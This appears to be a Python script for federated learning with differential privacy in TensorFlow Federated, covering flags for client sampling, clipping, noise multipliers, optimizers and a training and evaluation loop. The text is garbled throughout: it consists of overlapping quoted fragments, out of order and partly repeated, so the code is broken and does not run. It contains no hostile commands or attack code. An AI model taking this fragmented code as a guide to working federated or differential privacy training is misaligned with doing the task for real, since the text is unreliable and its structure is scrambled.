'--root_output_dir to separate experiment results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/',", "enabled.') if FLAGS.adaptive_clip_learning_rate is None: clip = FLAGS.clip else: if", "to -1, all available examples ' 'are used.') flags.DEFINE_integer('rounds_per_checkpoint', 50,", "tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory = tff.aggregators.clipping_factory( clip, aggregation_factory) else:", "'elements for each training client. If set to None, all", "training_process = ( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process)) training_selection_fn = functools.partial( tff.simulation.build_uniform_sampling_fn(", "utils import task_utils from utils import training_utils from utils import", "to None, all ' 'available examples are used.') # Training", "law or agreed to in writing, software # distributed under", "not FLAGS.uniform_weighting: raise ValueError( 'Differential privacy is only implemented for", "optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags() as shared_flags: # Federated training hyperparameters flags.DEFINE_integer('client_epochs_per_round',", "flags.DEFINE_integer('client_batch_size', 20, 'Batch size on the clients.') flags.DEFINE_integer('clients_per_round', 10, 'How", "= lambda round_num: [validation_data] def evaluation_fn(state, evaluation_data): return federated_eval(state.model, evaluation_data)", "flags.DEFINE_float('noise_multiplier', None, 'Noise multiplier. If None, non-DP aggregator is used.')", "' 'elements for each training client. If set to None,", "training client. If set to None, all ' 'available examples", "'The number of validation' 'examples to use. If set to", "of ' 'elements for each training client. If set to", "fixed clipping or initial clip for ' 'adaptive clipping. If", "= federated_eval(state.model, [test_data]) for metrics_manager in metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds +", "if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate must be positive if", "rate. If ' 'None, clip adaptation is not used.') flags.DEFINE_float('target_unclipped_quantile',", "from utils import utils_impl from utils.optimizers import optimizer_utils with utils_impl.record_hparam_flags()", "FLAGS.clip else: if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate must be", "evaluate the global model on the validation dataset.') flags.DEFINE_integer( 'num_validation_examples',", "may obtain a copy of the License at # #", "'available examples are used.') # Training loop configuration flags.DEFINE_integer('total_rounds', 200,", "hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name) def main(argv): if len(argv) > 1:", "writing experiment output.') flags.DEFINE_integer( 'rounds_per_eval', 1, 'How often to evaluate", "weight.name, weight.shape) if FLAGS.uniform_weighting: client_weighting = tff.learning.ClientWeighting.UNIFORM elif FLAGS.task ==", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "sampling.') flags.DEFINE_integer( 'max_elements_per_client', None, 'Maximum number of ' 'elements for", "client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else: client_weighting = None if FLAGS.noise_multiplier", "tensorflow as tf import tensorflow_federated as tff from utils import", "flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target unclipped quantile.') flags.DEFINE_boolean('uniform_weighting', False, 'Whether to weigh", "FLAGS.noise_multiplier is None: if FLAGS.uniform_weighting: aggregation_factory = tff.aggregators.UnweightedMeanFactory() else: aggregation_factory", "may not use this file except in compliance with the", "FLAGS.task == 'stackoverflow_word': def client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else: client_weighting", "None: if FLAGS.clip <= 0: raise ValueError('clip must be positive", "aggregation_factory = tff.aggregators.MeanFactory() if FLAGS.clip is not None: if FLAGS.clip", "None, no clipping is used.') flags.DEFINE_float('noise_multiplier', None, 'Noise multiplier. If", "optimizers. opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict =", "utils_impl.record_hparam_flags() as shared_flags: # Federated training hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1, 'Number", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "absl import logging import tensorflow as tf import tensorflow_federated as", "multiplier. If None, non-DP aggregator is used.') flags.DEFINE_float( 'adaptive_clip_learning_rate', None,", "task flags task_flag_dict = utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name) def", "as optimizer_flags: # Defining optimizer flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags()", "this file except in compliance with the License. # You", "positive if clipping is enabled.') if FLAGS.adaptive_clip_learning_rate is None: clip", "experiment. Will be append to ' '--root_output_dir to separate experiment", "1, 'Random seed for client sampling.') flags.DEFINE_integer( 'max_elements_per_client', None, 'Maximum", "output.') flags.DEFINE_integer( 'rounds_per_eval', 1, 'How often to evaluate the global", "clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else: if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate must", "task_utils.define_task_flags() FLAGS = flags.FLAGS def _write_hparam_flags(): \"\"\"Returns an ordered dictionary", "train_data = task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process = ( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process))", "max_elements=FLAGS.max_elements_per_client) task = task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:') for weight in task.model_fn().trainable_variables:", "if FLAGS.noise_multiplier is None: if FLAGS.uniform_weighting: aggregation_factory = tff.aggregators.UnweightedMeanFactory() else:", "clip=FLAGS.clip) else: if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate must be", "= task.datasets.get_centralized_test_data() validation_data = test_data.take(FLAGS.num_validation_examples) federated_eval = tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn =", "app from absl import flags from absl import logging import", "> 1: raise app.UsageError('Expected no command-line arguments, ' 'got: {}'.format(argv))", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "hyperparameter flags.\"\"\" hparam_dict = utils_impl.lookup_flag_values(shared_flags) # Update with optimizer flags", "opt_flag_dict) opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict) # Update with task", "evaluation_data) program_state_manager, metrics_managers = training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags() state =", "# # Licensed under the Apache License, Version 2.0 (the", "checkpoint the global model.') with utils_impl.record_hparam_flags() as dp_flags: # Differential", "for writing experiment output.') flags.DEFINE_integer( 'rounds_per_eval', 1, 'How often to", "file except in compliance with the License. # You may", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "Task specification with utils_impl.record_hparam_flags() as task_flags: task_utils.define_task_flags() FLAGS = flags.FLAGS", "learning rate. If ' 'None, clip adaptation is not used.')", "DP is enabled.') if FLAGS.clip is None or FLAGS.clip <=", "be positive if DP is enabled.') if FLAGS.clip is None", "client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data = task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process = (", "clip for ' 'adaptive clipping. If None, no clipping is", "flags.DEFINE_integer( 'num_validation_examples', -1, 'The number of validation' 'examples to use.", "%s', weight.name, weight.shape) if FLAGS.uniform_weighting: client_weighting = tff.learning.ClientWeighting.UNIFORM elif FLAGS.task", "rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics = federated_eval(state.model, [test_data]) for metrics_manager", "examples ' 'are used.') flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How often to checkpoint", "target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory = tff.aggregators.clipping_factory( clip, aggregation_factory) else: if not", "to evaluate the global model on the validation dataset.') flags.DEFINE_integer(", "# Differential privacy flags flags.DEFINE_float( 'clip', None, 'Clip value for", "evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics = federated_eval(state.model, [test_data]) for", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "False, 'Whether to weigh clients uniformly.') # Task specification with", "to ' '--root_output_dir to separate experiment results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root", "' 'None, clip adaptation is not used.') flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target", "program_state_manager, metrics_managers = training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags() state = tff.simulation.run_training_process(", "' 'adaptive clipping. If None, no clipping is used.') flags.DEFINE_float('noise_multiplier',", "aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else: if FLAGS.adaptive_clip_learning_rate <=", "'experiment_name', None, 'The name of this experiment. Will be append", "for client sampling.') flags.DEFINE_integer( 'max_elements_per_client', None, 'Maximum number of '", "= tff.aggregators.MeanFactory() if FLAGS.clip is not None: if FLAGS.clip <=", "available examples ' 'are used.') flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How often to", "clipping. If None, no clipping is used.') flags.DEFINE_float('noise_multiplier', None, 'Noise", "if FLAGS.adaptive_clip_learning_rate is None: aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip)", "= tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn = lambda round_num: [validation_data] def evaluation_fn(state, evaluation_data):", "= task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process = ( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process)) training_selection_fn", "utils_impl.record_hparam_flags() as task_flags: task_utils.define_task_flags() FLAGS = flags.FLAGS def _write_hparam_flags(): \"\"\"Returns", "else: if not FLAGS.uniform_weighting: raise ValueError( 'Differential privacy is only", "utils_impl from utils.optimizers import optimizer_utils with utils_impl.record_hparam_flags() as optimizer_flags: #", "flags flags.DEFINE_float( 'clip', None, 'Clip value for fixed clipping or", "<= 0: raise ValueError('clip must be positive if DP is", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "various tasks.\"\"\" import functools from absl import app from absl", "None, 'Clip value for fixed clipping or initial clip for", "if DP is enabled.') if FLAGS.clip is None or FLAGS.clip", "the clients.') flags.DEFINE_integer('clients_per_round', 10, 'How many clients to sample per", "loop configuration flags.DEFINE_integer('total_rounds', 200, 'Number of total training rounds.') flags.DEFINE_string(", "task_flags: task_utils.define_task_flags() FLAGS = flags.FLAGS def _write_hparam_flags(): \"\"\"Returns an ordered", "privacy flags flags.DEFINE_float( 'clip', None, 'Clip value for fixed clipping", "used.') # Training loop configuration flags.DEFINE_integer('total_rounds', 200, 'Number of total", "or implied. # See the License for the specific language", "dictionary of pertinent hyperparameter flags.\"\"\" hparam_dict = utils_impl.lookup_flag_values(shared_flags) # Update", "clip, aggregation_factory) else: if not FLAGS.uniform_weighting: raise ValueError( 'Differential privacy", "number of validation' 'examples to use. If set to -1,", "with utils_impl.record_hparam_flags() as dp_flags: # Differential privacy flags flags.DEFINE_float( 'clip',", "server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data = task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process =", "'--root_output_dir to separate experiment results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root directory for", "1, 'How often to evaluate the global model on the", "KIND, either express or implied. # See the License for", "specific language governing permissions and # limitations under the License.", "= optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec = tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size,", "initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory = tff.aggregators.clipping_factory( clip, aggregation_factory) else: if", "optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags() as shared_flags: # Federated training hyperparameters", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "must be positive if DP is enabled.') if FLAGS.adaptive_clip_learning_rate is", "server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec = tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task", "functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data = task.datasets.get_centralized_test_data() validation_data =", "language governing permissions and # limitations under the License. \"\"\"Runs", "= tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory = tff.aggregators.clipping_factory( clip, aggregation_factory)", "import training_utils from utils import utils_impl from utils.optimizers import optimizer_utils", "used.') flags.DEFINE_float( 'adaptive_clip_learning_rate', None, 'Adaptive clip learning rate. If '", "configuration flags.DEFINE_integer('total_rounds', 200, 'Number of total training rounds.') flags.DEFINE_string( 'experiment_name',", "task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:') for weight in task.model_fn().trainable_variables: logging.info('name: %s shape:", "ValueError( 'Differential privacy is only implemented for uniform weighting.') if", "flags.FLAGS def _write_hparam_flags(): \"\"\"Returns an ordered dictionary of pertinent hyperparameter", "absl import app from absl import flags from absl import", "clients to sample per round.') flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random seed for", "{}'.format(argv)) client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec = tff.simulation.baselines.ClientSpec(", "FLAGS.root_output_dir, FLAGS.experiment_name) def main(argv): if len(argv) > 1: raise app.UsageError('Expected", "(the \"License\"); # you may not use this file except", "each training client. If set to None, all ' 'available", "'clip', None, 'Clip value for fixed clipping or initial clip", "# you may not use this file except in compliance", "1, 'Number of epochs in the client to take per", "sample per round.') flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random seed for client sampling.')", "utils_impl.record_hparam_flags() as optimizer_flags: # Defining optimizer flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with", "flags.DEFINE_float( 'clip', None, 'Clip value for fixed clipping or initial", "'Differential privacy is only implemented for uniform weighting.') if FLAGS.noise_multiplier", "validation' 'examples to use. If set to -1, all available", "differential privacy on various tasks.\"\"\" import functools from absl import", "else: if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate must be positive", "raise ValueError('adaptive_clip_learning_rate must be positive if ' 'adaptive clipping is", "training_utils from utils import utils_impl from utils.optimizers import optimizer_utils with", "with task flags task_flag_dict = utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name)", "arguments, ' 'got: {}'.format(argv)) client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server')", "flags.DEFINE_integer('client_epochs_per_round', 1, 'Number of epochs in the client to take", "dataset.') flags.DEFINE_integer( 'num_validation_examples', -1, 'The number of validation' 'examples to", "with utils_impl.record_hparam_flags() as optimizer_flags: # Defining optimizer flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server')", "# # Unless required by applicable law or agreed to", "from absl import logging import tensorflow as tf import tensorflow_federated", "often to evaluate the global model on the validation dataset.')", "= ( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process)) training_selection_fn = functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids,", "to checkpoint the global model.') with utils_impl.record_hparam_flags() as dp_flags: #", "as dp_flags: # Differential privacy flags flags.DEFINE_float( 'clip', None, 'Clip", "limitations under the License. \"\"\"Runs federated training with differential privacy", "functools from absl import app from absl import flags from", "If set to None, all ' 'available examples are used.')", "FLAGS.task == 'shakespeare_character' or FLAGS.task == 'stackoverflow_word': def client_weighting(local_outputs): return", "'shakespeare_character' or FLAGS.task == 'stackoverflow_word': def client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32)", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "is not None: if FLAGS.clip <= 0: raise ValueError('clip must", "is enabled.') if FLAGS.clip is None or FLAGS.clip <= 0:", "Version 2.0 (the \"License\"); # you may not use this", "if FLAGS.clip <= 0: raise ValueError('clip must be positive if", "aggregation_factory = tff.aggregators.clipping_factory( clip, aggregation_factory) else: if not FLAGS.uniform_weighting: raise", "_write_hparam_flags(): \"\"\"Returns an ordered dictionary of pertinent hyperparameter flags.\"\"\" hparam_dict", "in the client to take per round.') flags.DEFINE_integer('client_batch_size', 20, 'Batch", "# Defining optimizer flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags() as shared_flags:", "clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory = tff.aggregators.clipping_factory( clip,", "enabled.') clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory = tff.aggregators.clipping_factory(", "<= 0: raise ValueError('adaptive_clip_learning_rate must be positive if ' 'adaptive", "= training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags() state = tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn,", "weight.shape) if FLAGS.uniform_weighting: client_weighting = tff.learning.ClientWeighting.UNIFORM elif FLAGS.task == 'shakespeare_character'", "evaluation_fn(state, evaluation_data): return federated_eval(state.model, evaluation_data) program_state_manager, metrics_managers = training_utils.create_managers( FLAGS.root_output_dir,", "is used.') flags.DEFINE_float('noise_multiplier', None, 'Noise multiplier. If None, non-DP aggregator", "1: raise app.UsageError('Expected no command-line arguments, ' 'got: {}'.format(argv)) client_optimizer_fn", "absl import flags from absl import logging import tensorflow as", "evaluation_selection_fn = lambda round_num: [validation_data] def evaluation_fn(state, evaluation_data): return federated_eval(state.model,", "shared_flags: # Federated training hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1, 'Number of epochs", "implied. # See the License for the specific language governing", "under the Apache License, Version 2.0 (the \"License\"); # you", "If None, no clipping is used.') flags.DEFINE_float('noise_multiplier', None, 'Noise multiplier.", "tf.float32) else: client_weighting = None if FLAGS.noise_multiplier is None: if", "test_data = task.datasets.get_centralized_test_data() validation_data = test_data.take(FLAGS.num_validation_examples) federated_eval = tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn", "chosen optimizers. opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict", "positive if DP is enabled.') if FLAGS.adaptive_clip_learning_rate is None: aggregation_factory", "not None: if FLAGS.clip <= 0: raise ValueError('clip must be", "by applicable law or agreed to in writing, software #", "# Training loop configuration flags.DEFINE_integer('total_rounds', 200, 'Number of total training", "0: raise ValueError('clip must be positive if clipping is enabled.')", "federated training with differential privacy on various tasks.\"\"\" import functools", "# Update with task flags task_flag_dict = utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict,", "\"\"\"Runs federated training with differential privacy on various tasks.\"\"\" import", "tff.learning.ClientWeighting.UNIFORM elif FLAGS.task == 'shakespeare_character' or FLAGS.task == 'stackoverflow_word': def", "on the clients.') flags.DEFINE_integer('clients_per_round', 10, 'How many clients to sample", "= optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict) # Update", "'got: {}'.format(argv)) client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec =", "metrics_managers = training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags() state = tff.simulation.run_training_process( training_process=training_process,", "= tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else: if FLAGS.adaptive_clip_learning_rate <= 0:", "if FLAGS.clip is not None: if FLAGS.clip <= 0: raise", "size=FLAGS.clients_per_round) test_data = task.datasets.get_centralized_test_data() validation_data = test_data.take(FLAGS.num_validation_examples) federated_eval = tff.learning.build_federated_evaluation(task.model_fn)", "client_weighting = None if FLAGS.noise_multiplier is None: if FLAGS.uniform_weighting: aggregation_factory", "with optimizer flags corresponding to the chosen optimizers. opt_flag_dict =", "the global model.') with utils_impl.record_hparam_flags() as dp_flags: # Differential privacy", "aggregator is used.') flags.DEFINE_float( 'adaptive_clip_learning_rate', None, 'Adaptive clip learning rate.", "'Target unclipped quantile.') flags.DEFINE_boolean('uniform_weighting', False, 'Whether to weigh clients uniformly.')", "= tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data = task.datasets.train_data.preprocess(", "use. If set to -1, all available examples ' 'are", "to take per round.') flags.DEFINE_integer('client_batch_size', 20, 'Batch size on the", "test_metrics = federated_eval(state.model, [test_data]) for metrics_manager in metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds", "implemented for uniform weighting.') if FLAGS.noise_multiplier <= 0: raise ValueError('noise_multiplier", "positive if DP is enabled.') if FLAGS.clip is None or", "FLAGS.noise_multiplier <= 0: raise ValueError('noise_multiplier must be positive if DP", "evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics = federated_eval(state.model, [test_data])", "tff.aggregators.clipping_factory( clip, aggregation_factory) else: if not FLAGS.uniform_weighting: raise ValueError( 'Differential", "'examples to use. If set to -1, all available examples", "size on the clients.') flags.DEFINE_integer('clients_per_round', 10, 'How many clients to", "federated_eval(state.model, [test_data]) for metrics_manager in metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds + 1)", "from absl import app from absl import flags from absl", "examples are used.') # Training loop configuration flags.DEFINE_integer('total_rounds', 200, 'Number", "many clients to sample per round.') flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random seed", "from utils import training_utils from utils import utils_impl from utils.optimizers", "rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics = federated_eval(state.model, [test_data]) for metrics_manager in metrics_managers:", "= tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process = tff.learning.build_federated_averaging_process(", "for uniform weighting.') if FLAGS.noise_multiplier <= 0: raise ValueError('noise_multiplier must", "DP is enabled.') if FLAGS.adaptive_clip_learning_rate is None: aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed(", "Differential privacy flags flags.DEFINE_float( 'clip', None, 'Clip value for fixed", "client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec = tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round,", "= task_utils.create_task_from_flags(train_client_spec) logging.info('Trainable weights:') for weight in task.model_fn().trainable_variables: logging.info('name: %s", "all ' 'available examples are used.') # Training loop configuration", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "-1, all available examples ' 'are used.') flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How", "learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process = tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data", "Unless required by applicable law or agreed to in writing,", "flags.DEFINE_integer( 'max_elements_per_client', None, 'Maximum number of ' 'elements for each", "used.') flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How often to checkpoint the global model.')", "'How many clients to sample per round.') flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random", "= FLAGS.clip else: if FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate must", "# Update with optimizer flags corresponding to the chosen optimizers.", "'num_validation_examples', -1, 'The number of validation' 'examples to use. If", "be positive if ' 'adaptive clipping is enabled.') clip =", "in task.model_fn().trainable_variables: logging.info('name: %s shape: %s', weight.name, weight.shape) if FLAGS.uniform_weighting:", "directory for writing experiment output.') flags.DEFINE_integer( 'rounds_per_eval', 1, 'How often", "the specific language governing permissions and # limitations under the", "tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers)", "applicable law or agreed to in writing, software # distributed", "as shared_flags: # Federated training hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1, 'Number of", "is enabled.') clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory =", "the chosen optimizers. opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags) opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict)", "learning_rate=FLAGS.adaptive_clip_learning_rate) aggregation_factory = tff.aggregators.clipping_factory( clip, aggregation_factory) else: if not FLAGS.uniform_weighting:", "with differential privacy on various tasks.\"\"\" import functools from absl", "FLAGS.clip <= 0: raise ValueError('clip must be positive if DP", "flags from absl import logging import tensorflow as tf import", "return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else: client_weighting = None if FLAGS.noise_multiplier is", "import flags from absl import logging import tensorflow as tf", "with utils_impl.record_hparam_flags() as shared_flags: # Federated training hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1,", "if ' 'adaptive clipping is enabled.') aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier,", "in writing, software # distributed under the License is distributed", "an ordered dictionary of pertinent hyperparameter flags.\"\"\" hparam_dict = utils_impl.lookup_flag_values(shared_flags)", "if ' 'adaptive clipping is enabled.') clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip,", "weights:') for weight in task.model_fn().trainable_variables: logging.info('name: %s shape: %s', weight.name,", "name of this experiment. Will be append to ' '--root_output_dir", "from utils.optimizers import optimizer_utils with utils_impl.record_hparam_flags() as optimizer_flags: # Defining", "def evaluation_fn(state, evaluation_data): return federated_eval(state.model, evaluation_data) program_state_manager, metrics_managers = training_utils.create_managers(", "is None: if FLAGS.uniform_weighting: aggregation_factory = tff.aggregators.UnweightedMeanFactory() else: aggregation_factory =", "is used.') flags.DEFINE_float( 'adaptive_clip_learning_rate', None, 'Adaptive clip learning rate. If", "= tff.learning.ClientWeighting.UNIFORM elif FLAGS.task == 'shakespeare_character' or FLAGS.task == 'stackoverflow_word':", "raise ValueError('clip must be positive if DP is enabled.') if", "50, 'How often to checkpoint the global model.') with utils_impl.record_hparam_flags()", "enabled.') aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process", "is None: clip = FLAGS.clip else: if FLAGS.adaptive_clip_learning_rate <= 0:", "None: aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else: if FLAGS.adaptive_clip_learning_rate", "'Number of total training rounds.') flags.DEFINE_string( 'experiment_name', None, 'The name", 